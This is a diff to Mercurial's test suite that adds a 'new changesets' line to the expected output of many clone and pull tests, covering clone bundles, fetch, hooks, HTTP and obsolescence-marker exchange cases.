--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -148,6 +148,7 @@
   adding manifests
   adding file changes
   added 11 changesets with 11 changes to 2 files
+  new changesets acb14030fe0a:a7949464abda
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R g verify
@@ -269,6 +270,7 @@
   adding manifests
   adding file changes
   added 16 changesets with 16 changes to 3 files (+1 heads)
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -409,6 +411,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -445,6 +448,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -481,6 +485,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -543,6 +548,7 @@
   adding manifests
   adding file changes
   added 14 changesets with 14 changes to 3 files
+  new changesets acb14030fe0a:0aae7cf88f0d
   updating to branch stable
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -r ua
@@ -774,6 +780,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets e082c1832e09
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -786,6 +793,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets b5f04eac9d8f:e5bfe23c0b47
   searching for changes
   no changes found
   adding remote bookmark bookA
@@ -823,6 +831,7 @@
   added 4 changesets with 4 changes to 1 files (+4 heads)
   adding remote bookmark head1
   adding remote bookmark head2
+  new changesets 4a8dc1ab4c13:6bacf4683960
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -863,6 +872,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 22aeff664783:63cf6c3dba4a
   searching for changes
   no changes found
   updating working directory
@@ -881,6 +891,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets b5f04eac9d8f:e5bfe23c0b47
   searching for changes
   no changes found
   adding remote bookmark bookA
@@ -897,6 +908,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 6 changes to 1 files (+4 heads)
+  new changesets b5f04eac9d8f:6bacf4683960
   searching for changes
   no changes found
   adding remote bookmark head1
@@ -916,6 +928,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets b5f04eac9d8f:4a8dc1ab4c13
   no changes found
   adding remote bookmark head1
   updating working directory
@@ -946,6 +959,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   adding remote bookmark head1
   adding remote bookmark head2
+  new changesets 99f71071f117
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -978,6 +992,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets b5f04eac9d8f:5f92a6c1a1b1
   no changes found
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -1003,6 +1018,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 6bacf4683960
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1084,6 +1100,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets b5f04eac9d8f:e5bfe23c0b47
   searching for changes
   no changes found
   adding remote bookmark bookA
diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -28,6 +28,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
   $ cat server/access.log
   * - - [*] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob)
@@ -45,6 +46,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 Manifest file with invalid URL aborts
 
@@ -89,6 +91,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 Bundle with partial content works
 
@@ -127,6 +130,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets aaff8d2ffbbf
 
 Incremental pull doesn't fetch bundle
 
@@ -135,6 +139,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 53245c60e682
 
   $ cd partial-clone
   $ hg pull
@@ -144,6 +149,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets aaff8d2ffbbf
   (run 'hg update' to get a working copy)
   $ cd ..
 
@@ -240,6 +246,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 URLs requiring SNI are filtered in Python <2.7.9
 
@@ -337,6 +344,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 53245c60e682:aaff8d2ffbbf
 
 Set up manifest for testing preferences
 (Remember, the TYPE does not have to match reality - the URL is
diff --git a/tests/test-contrib.t b/tests/test-contrib.t
--- a/tests/test-contrib.t
+++ b/tests/test-contrib.t
@@ -79,6 +79,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets de1da620e7d8:46946d278c50
 
 Verify:
 
diff --git a/tests/test-empty-group.t b/tests/test-empty-group.t
--- a/tests/test-empty-group.t
+++ b/tests/test-empty-group.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 3 changes to 3 files
+  new changesets 5fcb73622933:d15a0c284984
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -61,6 +62,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 3 changes to 3 files
+  new changesets 5fcb73622933:1ec3c74fc0e0
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -115,6 +117,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 1ec3c74fc0e0
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R c pull a
@@ -124,4 +127,5 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets d15a0c284984
   (run 'hg heads' to see heads, 'hg merge' to merge)
diff --git a/tests/test-encoding.t b/tests/test-encoding.t
--- a/tests/test-encoding.t
+++ b/tests/test-encoding.t
@@ -10,6 +10,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 1e78a93102a3:0e5b7e3f9c4a
   (run 'hg update' to get a working copy)
   $ hg co
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-eol-clone.t b/tests/test-eol-clone.t
--- a/tests/test-eol-clone.t
+++ b/tests/test-eol-clone.t
@@ -61,6 +61,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 90f94e2cf4e2
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-4
diff --git a/tests/test-exchange-obsmarkers-case-A1.t b/tests/test-exchange-obsmarkers-case-A1.t
--- a/tests/test-exchange-obsmarkers-case-A1.t
+++ b/tests/test-exchange-obsmarkers-case-A1.t
@@ -103,6 +103,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -144,6 +145,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -244,6 +246,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets f5bc6836db60:f6fbb35d8ac9
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -285,6 +288,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets f5bc6836db60:f6fbb35d8ac9
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A2.t b/tests/test-exchange-obsmarkers-case-A2.t
--- a/tests/test-exchange-obsmarkers-case-A2.t
+++ b/tests/test-exchange-obsmarkers-case-A2.t
@@ -111,6 +111,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A3.t b/tests/test-exchange-obsmarkers-case-A3.t
--- a/tests/test-exchange-obsmarkers-case-A3.t
+++ b/tests/test-exchange-obsmarkers-case-A3.t
@@ -130,6 +130,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -233,6 +234,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets e5ea8f9c7314
   (run 'hg heads' to see heads, 'hg merge' to merge)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A4.t b/tests/test-exchange-obsmarkers-case-A4.t
--- a/tests/test-exchange-obsmarkers-case-A4.t
+++ b/tests/test-exchange-obsmarkers-case-A4.t
@@ -117,6 +117,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets 28b51eb45704:06055a7959d4
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A5.t b/tests/test-exchange-obsmarkers-case-A5.t
--- a/tests/test-exchange-obsmarkers-case-A5.t
+++ b/tests/test-exchange-obsmarkers-case-A5.t
@@ -126,6 +126,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f6298a8ac3a4
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-B3.t b/tests/test-exchange-obsmarkers-case-B3.t
--- a/tests/test-exchange-obsmarkers-case-B3.t
+++ b/tests/test-exchange-obsmarkers-case-B3.t
@@ -106,6 +106,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-B5.t b/tests/test-exchange-obsmarkers-case-B5.t
--- a/tests/test-exchange-obsmarkers-case-B5.t
+++ b/tests/test-exchange-obsmarkers-case-B5.t
@@ -137,6 +137,7 @@
   adding file changes
   added 3 changesets with 3 changes to 3 files
   1 new obsolescence markers
+  new changesets 28b51eb45704:1d0f3cd25300
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-C2.t b/tests/test-exchange-obsmarkers-case-C2.t
--- a/tests/test-exchange-obsmarkers-case-C2.t
+++ b/tests/test-exchange-obsmarkers-case-C2.t
@@ -119,6 +119,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -166,6 +167,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-D1.t b/tests/test-exchange-obsmarkers-case-D1.t
--- a/tests/test-exchange-obsmarkers-case-D1.t
+++ b/tests/test-exchange-obsmarkers-case-D1.t
@@ -117,6 +117,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -164,6 +165,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-D4.t b/tests/test-exchange-obsmarkers-case-D4.t
--- a/tests/test-exchange-obsmarkers-case-D4.t
+++ b/tests/test-exchange-obsmarkers-case-D4.t
@@ -125,6 +125,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-fetch.t b/tests/test-fetch.t
--- a/tests/test-fetch.t
+++ b/tests/test-fetch.t
@@ -30,6 +30,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d2ae7f538514
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b parents -q
   1:d2ae7f538514
@@ -55,6 +56,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   updating to 2:d2ae7f538514
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 1:d36c0562f908
@@ -77,6 +79,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   updating to 2:d2ae7f538514
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 1:d36c0562f908
@@ -110,6 +113,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   updating to 2:d2ae7f538514
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 1:d36c0562f908
@@ -141,6 +145,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 6343ca3eff20
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   merging with 3:6343ca3eff20
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -193,6 +198,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 8fdc9284bbc5
 
 parent should be 2 (no automatic update)
 
@@ -225,6 +231,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 8fdc9284bbc5:3c4a837a864f
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 parent should be 4 (fast forward)
@@ -267,6 +274,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files (+2 heads)
+  new changesets d05ce59ff88d:a7954de24e4c
   updating to 5:3c4a837a864f
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 3:1267f84a9ea5
@@ -314,6 +322,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 1 files (+2 heads)
+  new changesets b84e8d0f020f:3d3bf54f99c0
   not merging with 1 other new branch heads (use "hg heads ." and "hg merge" to merge them)
   [1]
 
@@ -398,6 +407,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 7837755a2789
   updating to 2:7837755a2789
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   merging with 1:d1f0c6c48ebd
@@ -426,5 +436,6 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets c8735224de5c
 
   $ cd ..
diff --git a/tests/test-filebranch.t b/tests/test-filebranch.t
--- a/tests/test-filebranch.t
+++ b/tests/test-filebranch.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files (+1 heads)
+  new changesets bdd988058d16
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg merge -v
diff --git a/tests/test-flagprocessor.t b/tests/test-flagprocessor.t
--- a/tests/test-flagprocessor.t
+++ b/tests/test-flagprocessor.t
@@ -107,6 +107,7 @@
   adding manifests
   adding file changes
   added 7 changesets with 7 changes to 7 files
+  new changesets 07b1b9442c5b:6e48f4215d24
   (run 'hg update' to get a working copy)
   $ hg update
   7 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-flags.t b/tests/test-flags.t
--- a/tests/test-flags.t
+++ b/tests/test-flags.t
@@ -22,6 +22,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 22a449e20da5
   (run 'hg update' to get a working copy)
   $ hg co
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -44,6 +45,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 7f4313b42a34
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg heads
   changeset:   2:7f4313b42a34
@@ -96,6 +98,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 7f4313b42a34
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg heads
   changeset:   2:7f4313b42a34
diff --git a/tests/test-generaldelta.t b/tests/test-generaldelta.t
--- a/tests/test-generaldelta.t
+++ b/tests/test-generaldelta.t
@@ -85,6 +85,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 6 changes to 3 files (+2 heads)
+  new changesets 0ea3fcf9d01d:bba78d330d9c
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone repo --pull --config format.generaldelta=1 full
@@ -93,6 +94,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 6 changes to 3 files (+2 heads)
+  new changesets 0ea3fcf9d01d:bba78d330d9c
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R repo debugindex -m
@@ -229,6 +231,7 @@
   adding manifests
   adding file changes
   added 53 changesets with 53 changes to 53 files (+2 heads)
+  new changesets 61246295ee1e:99cae3713489
   updating to branch default
   14 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R relax-chain debugindex -m
@@ -292,6 +295,7 @@
   adding manifests
   adding file changes
   added 53 changesets with 53 changes to 53 files (+2 heads)
+  new changesets 61246295ee1e:99cae3713489
   updating to branch default
   14 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R noconst-chain debugindex -m
diff --git a/tests/test-globalopts.t b/tests/test-globalopts.t
--- a/tests/test-globalopts.t
+++ b/tests/test-globalopts.t
@@ -31,6 +31,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets b6c483daf290
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-glog-topological.t b/tests/test-glog-topological.t
--- a/tests/test-glog-topological.t
+++ b/tests/test-glog-topological.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg log -G
diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -1214,6 +1214,7 @@
   adding manifests
   adding file changes
   added 31 changesets with 31 changes to 1 files
+  new changesets e6eb3150255d:621d83e11f67
   $ cd repo2
 
   $ hg incoming --graph ../repo
diff --git a/tests/test-hardlinks.t b/tests/test-hardlinks.t
--- a/tests/test-hardlinks.t
+++ b/tests/test-hardlinks.t
@@ -77,6 +77,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 40d85e9847f2:7069c422939c
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-hgweb-diffs.t b/tests/test-hgweb-diffs.t
--- a/tests/test-hgweb-diffs.t
+++ b/tests/test-hgweb-diffs.t
@@ -1111,6 +1111,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 0cd96de13884
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd test1
diff --git a/tests/test-histedit-base.t b/tests/test-histedit-base.t
--- a/tests/test-histedit-base.t
+++ b/tests/test-histedit-base.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-histedit-commute.t b/tests/test-histedit-commute.t
--- a/tests/test-histedit-commute.t
+++ b/tests/test-histedit-commute.t
@@ -364,6 +364,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets 141947992243:bd22688093b3
   (run 'hg update' to get a working copy)
   $ hg co tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-hook.t b/tests/test-hook.t
--- a/tests/test-hook.t
+++ b/tests/test-hook.t
@@ -112,6 +112,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets ab228980c14d:07f3376c1e65
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ab228980c14deea8b9555d91c9581127383e40fd HG_NODE_LAST=07f3376c1e655977439df2a814e3cc14b27abac2 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/a
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=ab228980c14deea8b9555d91c9581127383e40fd HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/a
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=ee9deb46ab31e4cc3310f3cf0c3d668e4d8fffc2 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/a
@@ -362,6 +363,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark quux
+  new changesets 539e4b31b6dc
   (run 'hg update' to get a working copy)
   $ hg rollback
   repository tip rolled back to revision 3 (undo pull)
@@ -571,6 +573,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark quux
+  new changesets 539e4b31b6dc
   (run 'hg update' to get a working copy)
 
 post- python hooks that fail to *run* don't cause an abort
diff --git a/tests/test-http-bad-server.t b/tests/test-http-bad-server.t
--- a/tests/test-http-bad-server.t
+++ b/tests/test-http-bad-server.t
@@ -833,6 +833,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -876,6 +877,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-http-branchmap.t b/tests/test-http-branchmap.t
--- a/tests/test-http-branchmap.t
+++ b/tests/test-http-branchmap.t
@@ -21,6 +21,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 867c11ce77b8
   updating to branch \xc3\xa6 (esc)
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --encoding utf-8 -R b log
diff --git a/tests/test-http-bundle1.t b/tests/test-http-bundle1.t
--- a/tests/test-http-bundle1.t
+++ b/tests/test-http-bundle1.t
@@ -64,6 +64,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -83,6 +84,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -94,6 +96,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg verify -R copy-pull
@@ -116,6 +119,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg log -r . -R updated
@@ -133,6 +137,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd partial
@@ -158,6 +163,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5fed3813f7f5
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_NODE_LAST=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=http://localhost:$HGPORT1/
   (run 'hg update' to get a working copy)
   $ cd ..
@@ -236,6 +242,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 5 changes to 5 files
+  new changesets 8b6053c928fe:5fed3813f7f5
   updating to branch default
   5 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -337,6 +344,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -346,6 +354,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 7 changes to 7 files
+  new changesets 8b6053c928fe:56f9bc90cce6
   updating to branch default
   abort: HTTP Error 404: Not Found
   [255]
@@ -391,6 +400,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R test-partial-clone
@@ -400,6 +410,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets 5fed3813f7f5:56f9bc90cce6
   (run 'hg update' to get a working copy)
 
   $ cat error.log
diff --git a/tests/test-http-clone-r.t b/tests/test-http-clone-r.t
--- a/tests/test-http-clone-r.t
+++ b/tests/test-http-clone-r.t
@@ -9,6 +9,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -32,6 +33,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bfaf4b5cbf01
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -43,6 +45,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:21f32785131f
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -54,6 +57,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:4ce51a113780
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -65,6 +69,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets bfaf4b5cbf01:93ee6ab32777
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -76,6 +81,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:c70afb1ee985
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -87,6 +93,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:f03ae5a9b979
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -98,6 +105,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:095cb14b1b4d
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -109,6 +117,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets bfaf4b5cbf01:faa2e4234c7a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -120,6 +129,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:916f1afdef90
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -135,6 +145,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -151,6 +162,7 @@
   adding manifests
